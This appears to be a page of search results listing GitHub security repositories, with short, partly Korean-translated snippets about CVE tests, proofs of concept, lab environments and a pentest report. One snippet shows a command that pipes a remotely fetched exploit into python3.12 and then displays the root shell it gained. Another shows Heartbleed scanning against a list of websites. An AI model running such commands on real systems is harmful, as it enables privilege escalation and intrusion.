17603 matches found
bash-shellshock
bash-shellshock Cookbook 이 쿡북은 bash "shellshock" 버그공식 명칭 cve-2014-7169를 테스트하고 선택적으로 수정하기 위해 설계되었습니다. Chef-client가 하나 이상의 호스트에서 이 레시피를 실행하면, "Shellshock" 익스플로잇에 취약한 모든 노드 목록을 knife search:를 통해 Chef 서버에서 검색할 수 있습니다. knife search node 'bash:shellshockvulnerable' 제한 사항 이 쿡북은 OS 네이티브 패키징 시스템에 의존하여 bas...
Heartbleed
Heartbleed 테스트 서버. Mozilla의 캐싱 포함. SAMPLE.aws-config.json을 /.aws-config.json 또는 /etc/aws-config.json으로 설치하거나, GODYNAMOCONFFILE 환경 변수로 지정된 경로에 설치하세요. Usage: HBserver --redir-host= --listen= --expiry= HBserver -h | --help HBserver --version Options: --redir-host HOST Redirect requests to "/" to thi...
CVE-2017-0248-Test
이 저장소에는 README가 없습니다...
CVE-2024-39700-PoC
CVE-2024-39700 개념 증명 이 템플릿을 사용하여 테스트 옵션으로 생성된 리포지토리에는 RCE 취약점이 있는 update-integration-tests.yml 워크플로우가 포함됩니다. PoC PR: https://github.com/LOURC0D3/CVE-2024-39700-PoC/pull/2 Commit 작업 결과: https://github.com/LOURC0D3/CVE-2024-39700-PoC/actions/runs/10157571828/job/28087926847 결과 이것은 제 버그가 아니며, 저는 단지 ...
bugtest
bugtest CVE-2025-43529 テスト...
Best-Practices-Cybersecurity-Otanata-Project
CP3418사이버보안모범사례OTANATA프로젝트 CVE-2024-3273 — 승인된 침투 테스트 보고서 D-Link DNS-320L NAS | 클라이언트: Otonata 개요 이 저장소는 제임스 쿡 대학교 싱가포르James Cook University Singapore의 CP3418 사이버보안 모범 사례 과목의 일환으로, 클라이언트 OtonataMr. Johnny Yap를 위해 D-Link DNS-320L NAS 장치에 대해 수행된 승인된 침투 테스트의 전체 보안 평가 보고서를 포함합니다. 역할: 웹 애플리케이션 및 API 보...
heaplens
🔎 Heaplens CMPT733 사이버보안 실습 II 프로젝트 📂 저장소 구조 . ├── README.md ├── heaplens.png ├── heaplens.py ├── logs │ ├── sudoedit-.txt │ └── ... └── tests ├── Makefile ├── env-in-heap └── ... README.md: 바로 이 파일입니다! heaplens.py: 메인 스크립트 logs/: 개발 및 테스트 중에 수집한 샘플 로그가 포함되어 있습니다 tests/: 테스트용 바이너리및 해당 소스 코드가...
log4jtest
소개 이 저장소는 Docker와 Hashicorp Terraform을 사용하여 log4j 취약점을 신속하게 테스트하기 위해 구성되었습니다. 이 테스트의 모든 구성 요소는 Docker 네트워크에서 Docker 컨테이너로 실행되며, 'host.docker.internal'을 통해 접근할 수 있습니다. 크레딧 / 면책 조항 이 테스트 환경은 Raxis의 훌륭한 블로그 게시물에서 파생되었습니다: https://raxis.com/blog/log4j-exploit 취약한 애플리케이션과 익스플로잇 코드는...
Vulnerabilities
기타 테스트 중 발견된 취약점...
martian
Martian Proxy Martian Proxy는 테스트용으로 설계된 프로그래밍 가능한 HTTP 프록시입니다. Martian은 다음과 같은 상황에서 사용하기 좋은 도구입니다: 모든 또는 일부 요청이 안전한지 확인 네트워크 계층에서 외부 서비스 모킹 헤더 주입, 쿠키 수정 또는 HTTP 요청 및 응답의 기타 변형 수행 예상된 시점에 핑백이 발생하는지 확인 암호화된 트래픽 복호화 브라우저에 CA 인증서 설치 필요 Go의 크로스 컴파일 기능을 활용하여, Martian은 Go가 대상으로 하는 모든 곳에 배포할 수 있습니다. 최신 버...
testanull-CVE-2021-22005.py
이 저장소에는 README가 없습니다...
cve-2026-3854-test
CVE-2026-3854 패치 우회 테스트 webhook-baseline-test 1777481540 webhook-inject-test 1777481589...
CVE-2025-4476-Exploit
CVE-2025-4476-Exploit 과도하게 큰 Authorization: Basic 헤더와 함께 HTTP GET 요청을 보내는 작은 Python 테스트 클라이언트입니다. 이 도구는 헤더 파싱 문제예: libsoup의 CVE-2025-4476과 같은 null-dereference/크래시 버그에 대한 랩 테스트 및 연구를 위해 제작되었습니다. 잘못된 형식의 헤더가 포함된 클라이언트-서버 교환이 어떻게 파싱 오류를 유발할 수 있는지 보여주며, 익스플로잇 프레임워크가 아닙니다. 사용법: 로컬 또는 승인된 테스트 대상에 대해서만...
TEST-CVE-2026-31431
TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...
heartbleed-test
$ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...
CVE-2026-3304
CVE-2026-3304 실습 환경 교육 및 연구 목적으로만 사용하십시오. 승인 없이 시스템을 공격하는 것은 불법입니다. 이 실습 환경은 Multer 2.1.0 패치와 공식 테스트 코드를 분석하여 구축되었습니다. 취약한 서버는 패치 테스트에 설명된 정확한 조건을 재현하며, 패치된 서버는 Multer 2.1.0을 실행하여 수정 사항이 작동하는지 확인합니다. 취약점 개요 필드| 세부 정보 ---|--- CVE| CVE-2026-3304 대상| Multer 열림, 데이터 쓰기 시작 3. 파트 2 헤더 수신 name 속성 누락 →...